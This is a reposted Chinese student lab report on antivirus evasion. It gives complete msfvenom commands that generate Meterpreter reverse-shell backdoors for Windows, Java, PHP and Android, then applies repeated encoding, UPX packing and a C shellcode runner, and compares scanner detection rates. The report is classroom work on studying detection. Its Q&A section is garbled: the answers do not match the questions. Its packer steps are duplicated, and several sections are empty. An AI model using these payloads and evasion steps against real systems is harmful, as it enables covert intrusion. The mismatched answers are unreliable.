2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践

时间:2020-03-24
本文章向大家介绍2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践,主要包括2019-2020-2 20175227张雪莹《网络对抗技术》 Exp3 免杀原理与实践使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

2019-2020-2 20175227张雪莹《网络对抗技术》

Exp3 免杀原理与实践

目录

0. 基础知识

0.1 免杀
  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
  • 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
  • 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。
0.2 恶意软件检测机制
  • 基于特征码的检测

    • 重要的就是,恶意软件的检测,并不是比对整个文件,
    • 而只能只其中一个或几个片断作为识别依据。
    • 这就是最简单的特征码,或“signature”。
  • 启发式恶意软件检测

    • 启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。

    优点
    可以检测0-day恶意软件
    具有一定通用性

    缺点
    实时监控系统行为,开销稍多
    没有基于特征码的精确度高

  • 基于行为的恶意软件检测

    • 从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
0.3 免杀技术(Evading AV)综述
  • 改变特征码
    • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为
    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码

返回目录

1. 实验内容

1.1 方法
1.1.1 正确使用msf编码器
  • 关于网站VirSCANVirus Total
    • 是非盈利性的免费为广大网友服务的网站,它通过多种不同厂家提供的最新版本的病毒检测引擎对所上传的可疑文件进行在线扫描,并可以立刻将检测结果显示出来。
  • 在kali终端中,输入msfvenom查看该命令的参数详情,选用msfvenom -l encoders查看编码器情况。
  • 将实验2生成的后门程序zxy_20175227_backdoor.exe分别上传至两个网站进行筛查,结果如下:
  • 可以看出,未经过编码的后门程序很容易就给杀软监测到了。

  • 下面用msf编码器对后门程序进行编码,并重新上传两个网站进行筛查:

    • 在kali中进入/usr/share/metasploit-framework/modules/payloads/stagers/windows文件夹,用ls查看Windows平台下的连接方式
  • 进入/usr/share/metasploit-framework/modules/encoders/x86文件夹,用ls查看x86的编码方式
  • 这里我们选用TCP连接方式和shikata_ga_nai 编码方式
  • 输入命令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 52 -b '\x00' LHOST=<ip_of _linux> LPORT=5227 -f exe > zxyexptriBD.exe

-p 后面参数分别是:平台/软件/连接方式
-e 后面参数是:编码器类型
-b 后面参数是:减去16进制的0
-f 后面参数是:输出后门的格式(文件类型)
-i 后面参数是:编码的迭代次数

  • 分别在两个网站中扫描,结果如下:
  • 由此可见,多次编码对于免杀没啥效果
    • 有编码就有解码在exe文件中,杀软根据这部分就可以监测到异常情况
    • 如果使用默认参数或模板,也有一定的固定特征。
1.1.2 msfvenom生成如jar之类的其他文件
  • 生成Java后门程序
    • 在Kali中,使用msfvenom -p java/meterpreter/reverse_tcp lhost=<ip_of_linux> lport=5227 x> zxy175227_backdoor_java.jar,生成jar文件,上传至两个平台扫描,结果如下:
  • 可以看出,虽然都还是危险,但是检测成功几率有所下降。
  • 生成PHP后门程序
    • 使用msfvenom -p php/meterpreter/reverse_tcp lhost=<ip_of_linux> lport=5227 x> zxy175227_backdoor.php,生成php文件,上传至两个平台扫描,结果如下:
  • ** 竟然!两个平台检测率都超低,甚至建议我谨慎使用!**

  • 生成Android后门程序

    • 在Kali中,使用msfvenom -p android/meterpreter/reverse_tcp lhost=<ip_of_linux> lport=5227 x> zxy175227_backdoor.apk,生成apk文件(安装包形式),上传至两个平台扫描,结果如下:

其中VirScan的扫描结果由“危险”转为“警告”了,检测成功几率没有jar文件高。

1.1.3 veil
1.1.4 加壳工具
  • 压缩壳
    • zxy175227.exe加壳,使用命令upx zxy175227.exe -o zxy175227.upxed.exe
    • 测试可用性
  • zxy175227.upxed.exe复制到主机,被杀软监测到,如下图:
  • 将该文件信任后,上传至两个平台进行扫描,结果如下:

其中有一个网站检出率由危险转警告了。

  • 加密壳
    • zxy175227.exe加壳,使用命令upx zxy175227.exe -o zxy175227.upxed.exe
    • 测试可用性
1.1.5 使用C + shellcode编程
  • 使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.160.131 LPORT=5227 -f c生成C语言下的shellcode数组,如下图:
  • 创建zxy175227.c,代码内容如下:
unsigned char buf[] = 
"shellcode数组内容"

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 使用i686-w64-mingw32-g++ zxy175227.c -o zxy175227.exe对c文件进行交叉编译,得到可以在Windows环境下的可执行程序zxy175227.exe
  • 测试可用性
  • 将其复制到主机,杀软将其查杀,如下图:
  • 更改杀软设置,成功复制该文件后,上传至两个平台扫描,结果如下图:
  • 扫描结果的检出率仍然很高,但不算是所有扫描中最高的。
1.1.6 使用其他课堂未介绍方法

返回目录

1.2 通过组合应用各种技术实现恶意代码免杀

返回目录

1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

返回目录

2. 老师提问

2.1 杀软是如何检测出恶意代码的?
  • 回答:老师视频中也提到过,最常见的就是在第三方网站上下载一些软件安装包,这些安装包80%都是有后门的。一旦下载后安装,黑客就可以利用这些后门程序对你的系统进行恶意攻击。
2.2 免杀是做什么?
  • 回答:
    • win:就像此次实验中做的,创建一个cron任务,定时循环启动。
    • linux:把它绑定在某个脚本文件中,脚本文件开机自动运行,反弹连接被攻击机。
2.3 免杀的基本方法有哪些?
  • 回答:很可怕的就是,它可以控制你的摄像头(虽然我没有成功),这样的话我们就毫无隐私可言,一言一行全都暴露在黑客的眼睛中。
2.4 开启杀软能绝对防止电脑中恶意代码吗?
  • 回答:在cmd中用netstat -na查看端口开放情况,当开的端口大于1024尤其是4000以上的时候,很有可能就被安装后门了。这时可以自己手动修改注册表,删除可疑的可执行文件进行查杀,或者使用杀软。

返回目录

3. 所遇到的问题及其解决方法

3.1 问题1
  • 描述:安装veil的时候出现错误:10 http://http.kali.org/kali kali-rolling/main amd64 libmono-system-configuration4.0-cil all 6.8.0.105+dfsg-2提示,导致安装失败

  • 解决方法:之前遇到过类似问题,一直觉得是镜像源有问题,在网上搜索到较全的源信息,更新了一下sources.list,然后重新安装veil后成功。

3.2 问题2
  • 描述:Linux监听失败,未能进入Windows Shell,如图:

  • 解决办法:我猜测可能是由于主机防火墙已经将其拦截,打开拦截信息查看,果真如此,如图:

3.3 问题3
  • 描述:Linux中无法执行meterpreter命令,如图:

  • 解决方法:它提示我需要卸载当前bundler,我推测是当前该版本与kali版本不匹配。根据网上建议,我下载了bundler-1.17.3,之后成功进行后续操作:

返回目录

4. 实验感想

  • 在这次实验中,我做的冷汗直流。因为之前知道黑客干些啥,但是不知道他们那么简单就能进入你的系统,对你的系统进行恶意攻击。我还经常从啥**软件网下安装包,开心地用着破解软件。殊不知自己的系统可能已经完全由别人所掌握……看来我们不光要学习这些技能,要增强自己的思想道德建设,将所学用到正道上。另外,回归正题,在做加分任务的时候,我才发现自己实验一的任务三并不太清楚实践目的,自己又花了一些时间去把它强化,应用到此次实验中,佩服江学姐的学习能力,她有清晰的思维去指导自己把这个任务完成。自己还差的很远,要继续加油啊!

返回目录

5.参考资料

返回目录

原文地址:https://www.cnblogs.com/zxy20175227/p/12559042.html